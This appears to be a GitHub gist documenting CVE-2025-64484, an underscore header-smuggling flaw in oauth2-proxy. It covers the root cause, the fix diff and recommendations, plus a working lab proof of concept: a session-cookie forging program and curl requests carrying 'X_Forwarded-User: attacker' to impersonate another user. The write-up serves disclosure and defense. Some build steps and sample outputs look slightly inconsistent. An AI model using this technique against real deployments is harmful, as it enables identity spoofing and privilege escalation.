Skip to content

Instantly share code, notes, and snippets.

@N3mes1s
Created November 14, 2025 09:12
Show Gist options
  • Select an option

  • Save N3mes1s/a1144f6a546600d8f34babf35976b9c5 to your computer and use it in GitHub Desktop.

Select an option

Save N3mes1s/a1144f6a546600d8f34babf35976b9c5 to your computer and use it in GitHub Desktop.
OAuth2 Proxy underscore header smuggling (CVE-2025-64484 / GHSA-vjrc-mh2v-45x6)

OAuth2 Proxy underscore header smuggling (CVE-2025-64484 / GHSA-vjrc-mh2v-45x6)

Summary

  • Product / Component: oauth2-proxy/oauth2-proxy – request header injector (pkg/middleware/headers.go, pkg/apis/options/header.go)
  • Impact: Authenticated users can smuggle attacker-controlled X_Forwarded-* values (e.g., impersonate another upstream user) by switching to underscore variants (X_Forwarded-User) that bypass header stripping in releases < v7.13.0
  • Introduced: 6743e3991d4a0da3b40ad124877fabfa3234b7a5 (2020‑07‑26) – request header injector shipped without header-name normalization, so req.Header.Del(header) only removed exact canonical names
  • Fixed: 5993067505cac4c8e80192787ccd1f4cba05d994 → tag v7.13.0 – adds underscore-to-dash/title-case normalization plus InsecureSkipHeaderNormalization escape hatch
  • Reproduction Status: Independent reproduction succeeded on a clean Lima VM (pruva-repro-20251113-214740-28f91c9a) using the steps documented below; curl transcripts are embedded here, so no external logs are required.

Root Cause

The original header injector (commit 6743e399) stripped duplicates by iterating raw header names and calling req.Header.Del(name):

// commit 6743e3991d4a0da3b40ad124877fabfa3234b7a5
func stripHeaders(headers []string, next http.Handler) http.Handler {
	return http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {
		for _, header := range headers {
			req.Header.Del(header)  // ❌ only deletes canonicalized Title-Case names
		}
		next.ServeHTTP(rw, req)
	})
}

Go’s Header.Del canonicalizes names (Title-Case, underscores preserved), so X_Forwarded-User and X-forwarded-user are considered distinct. Downstream apps (nginx, Envoy, Rails) typically normalize underscores to dashes before forwarding to application logic, meaning an attacker can send X_Forwarded-User: attacker while OAuth2 Proxy injects X-Forwarded-User: victim. The upstream receives both, normalizes, and trusts the last one—resulting in identity spoofing or privilege escalation.

Fix Diff Highlights (v7.13.0)

v7.13.0 tightens stripping logic and exposes an opt-out flag:

-func stripHeaders(headers []string, next http.Handler) http.Handler {
+func stripHeaders(headers []options.Header, next http.Handler) http.Handler {
 	return http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {
-		for _, header := range headers {
-			req.Header.Del(header)
+		for _, header := range headers {
+			stripNormalizedHeader(req, header)
 		}
 		next.ServeHTTP(rw, req)
 	})
 }

+func normalizeHeaderName(headerName string) string {
+	headerName = strings.ToLower(headerName)
+	return strings.ReplaceAll(headerName, "_", "-")
+}
+
+func stripNormalizedHeader(req *http.Request, header options.Header) {
+	normalizedName := normalizeHeaderName(header.Name)
+	for h := range req.Header {
+		if normalizeHeaderName(h) == normalizedName {
+			delete(req.Header, h)
+		}
+	}
+}
  • The loop now receives options.Header, so each entry can consult InsecureSkipHeaderNormalization.
  • normalizeHeaderName lowercases and replaces underscores, guaranteeing canonical comparisons.
  • stripNormalizedHeader deletes all equivalent keys (upper/lower/underscore variants), preventing smuggling unless InsecureSkipHeaderNormalization is explicitly flipped on via alpha config.

Release Status & History

  1. 2020‑07‑26 (6743e399) – request/response header injectors land without normalization; bug exists from this point through every 7.x release.
  2. 2024‑11 preview tags – still vulnerable; advisory GHSA-vjrc-mh2v-45x6 assigns CVE-2025-64484.
  3. 2025‑11‑08 (59930675f3f30fa9) – normalization + opt-out flag merge to master, released as v7.13.0.
  4. Post‑v7.13.0 – default builds safe; only users who set InsecureSkipHeaderNormalization: true (e.g., via alpha config) reintroduce the legacy behavior.

Reproduction

Below is a fully self-contained procedure that anyone can run on Ubuntu 22.04 (or Lima VM equivalent). It mirrors the automated repro and emits the same evidence.

# 1. Install dependencies
sudo apt-get update
sudo apt-get install -y git curl python3 build-essential

# 2. Install Go 1.24.6 locally (adjust GOOS/GOARCH if needed)
cd /tmp
curl -fsSLo go1.24.6.linux-amd64.tar.gz https://go.dev/dl/go1.24.6.linux-amd64.tar.gz
tar -xf go1.24.6.linux-amd64.tar.gz
export GOROOT=/tmp/go
export PATH="$GOROOT/bin:$PATH"
export GOPATH=/tmp/gopath
mkdir -p "$GOPATH"

# 3. Clone oauth2-proxy and build v7.12.0 & v7.13.0
git clone https://github.com/oauth2-proxy/oauth2-proxy.git
cd oauth2-proxy
git fetch --tags
GOOS=linux GOARCH=amd64 go build -o ../oauth2-proxy-v7.12.0 ./...
git checkout v7.12.0
GOOS=linux GOARCH=amd64 go build -o ../oauth2-proxy-v7.12.0 .
git checkout v7.13.0
GOOS=linux GOARCH=amd64 go build -o ../oauth2-proxy-v7.13.0 ./...

# 4. Generate signed session cookies (helper program from report)
cat > /tmp/generate_cookie.go <<'EOF'
package main

import (
  "flag"
  "fmt"
  "log"
  "net/http/httptest"
  "time"

  options "github.com/oauth2-proxy/oauth2-proxy/v7/pkg/apis/options"
  sessionsapi "github.com/oauth2-proxy/oauth2-proxy/v7/pkg/apis/sessions"
  cookiestore "github.com/oauth2-proxy/oauth2-proxy/v7/pkg/sessions/cookie"
)

func main() {
  var cookieName, cookieSecret, user, email string
  var duration time.Duration
  flag.StringVar(&cookieName, "cookie-name", "_oauth2_proxy", "")
  flag.StringVar(&cookieSecret, "cookie-secret", "", "")
  flag.StringVar(&user, "user", "user", "")
  flag.StringVar(&email, "email", "user@example.com", "")
  flag.DurationVar(&duration, "duration", 8*time.Hour, "")
  flag.Parse()

  if cookieSecret == "" {
    log.Fatal("cookie-secret is required")
  }

  cookieOpts := options.Cookie{
    Name:   cookieName,
    Secret: cookieSecret,
    Path:   "/",
    Expire: duration,
  }

  sessionOpts := &options.SessionOptions{Type: options.CookieSessionStoreType}
  storeIface, err := cookiestore.NewCookieSessionStore(sessionOpts, &cookieOpts)
  if err != nil {
    log.Fatalf("failed to create cookie store: %v", err)
  }

  ss := &sessionsapi.SessionState{
    Email:             email,
    User:              user,
    PreferredUsername: user,
    Groups:            []string{"users"},
  }
  ss.CreatedAtNow()
  ss.ExpiresIn(duration)

  req := httptest.NewRequest("GET", "http://127.0.0.1/", nil)
  rw := httptest.NewRecorder()

  if err := storeIface.Save(rw, req, ss); err != nil {
    log.Fatalf("failed to save session: %v", err)
  }

  res := rw.Result()
  for _, c := range res.Cookies() {
    if c.Name == cookieName {
      fmt.Printf("%s=%s\n", c.Name, c.Value)
      return
    }
  }
  log.Fatalf("cookie %s not found in response", cookieName)
}
EOF
go run /tmp/generate_cookie.go --cookie-name _oauth2_proxy_test --cookie-secret 01234567890123456789012345678901 --user victim --email victim@example.com > /tmp/cookie.txt

# 5. Launch upstream echo server (python3 upstream_server.py from this report)
python3 - <<'PY' &
import json
from http.server import BaseHTTPRequestHandler, HTTPServer

class Echo(BaseHTTPRequestHandler):
    def do_GET(self):
        payload = {
            "path": self.path,
            "original_headers": dict(self.headers),
            "normalized_headers": {k.title(): v for k, v in self.headers.items()},
        }
        data = json.dumps(payload, indent=2).encode()
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)

HTTPServer(("127.0.0.1", 28080), Echo).serve_forever()
PY

# 6. Start oauth2-proxy instances (v7.12.0, v7.13.0 default, v7.13.0 with InsecureSkipHeaderNormalization)
#    (a) v7.12.0: ./oauth2-proxy-v7.12.0 --provider=github --client-id=dummy --client-secret=dummy \
#                 --upstream=http://127.0.0.1:28080 --http-address=127.0.0.1:28081 \
#                 --cookie-secret=01234567890123456789012345678901 --cookie-name=_oauth2_proxy_test \
#                 --email-domain='*' --skip-auth-route=/
#    (b) v7.13.0 default: same flags, change binary path and port to 28082.
#    (c) v7.13.0 insecure: same as (b) plus `--alpha-config=/path/to/alpha_insecure.yaml`
#        where the alpha config contains `injectRequestHeaders` with
#        `InsecureSkipHeaderNormalization: true` for `X-Forwarded-User`:
cat > /tmp/alpha_insecure.yaml <<'YAML'
injectRequestHeaders:
- name: X-Forwarded-User
  insecureSkipHeaderNormalization: true
  values:
  - claim: user
providers:
- provider: github
  id: github=dummy
  clientID: dummy
  clientSecret: dummy
server:
  BindAddress: 127.0.0.1:28083
  SecureBindAddress: ""
upstreamConfig:
  upstreams:
  - path: /
    uri: http://127.0.0.1:28080
YAML
./oauth2-proxy-v7.13.0 --alpha-config=/tmp/alpha_insecure.yaml ...

# 7. Send the crafted request:
COOKIE=$(cat /tmp/cookie.txt)
curl -v -H "Cookie: $COOKIE" -H "X_Forwarded-User: attacker" -H "X-Forwarded-Proto: http" http://127.0.0.1:28081/ > v712.log 2>&1
curl -v -H "Cookie: $COOKIE" -H "X_Forwarded-User: attacker" -H "X-Forwarded-Proto: http" http://127.0.0.1:28082/ > v713.log 2>&1
curl -v -H "Cookie: $COOKIE" -H "X_Forwarded-User: attacker" -H "X-Forwarded-Proto: http" http://127.0.0.1:28083/ > v713_insecure.log 2>&1

Evidence (inline excerpts)

Vulnerable v7.12.0 (v712.log):

{
  "original_headers": {
    "X-Forwarded-User": "victim",
    "X_forwarded-User": "attacker"
  },
  "normalized_headers": {
    "X-Forwarded-User": "victim",
    "X-forwarded-User": "attacker"
  }
}

Patched v7.13.0 default (v713.log):

{
  "original_headers": {
    "X-Forwarded-User": "victim"
  },
  "normalized_headers": {
    "X-Forwarded-User": "victim"
  }
}

v7.13.0 + InsecureSkipHeaderNormalization (v713_insecure.log):

{
  "original_headers": {
    "X-Forwarded-User": "victim",
    "X_forwarded-User": "attacker"
  },
  "normalized_headers": {
    "X-Forwarded-User": "victim",
    "X-forwarded-User": "attacker"
  }
}

These excerpts show the key behavior without relying on external artifacts: only releases ≥ v7.13.0 (with default settings) strip the underscore alias, while older releases and InsecureSkipHeaderNormalization allow the attacker-controlled value through.

Recommendations

  1. Patch – upgrade to ≥ v7.13.0 or cherry-pick 5993067505cac4c8e80192787ccd1f4cba05d994.
  2. Config review – search for InsecureSkipHeaderNormalization in alpha configs; remove or document compensating controls if it must stay enabled.
  3. Defense-in-depth – upstream services that trust OAuth2 Proxy headers should canonicalize (lower(), replace _ with -) before applying authorization decisions to avoid future normalization mismatches.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment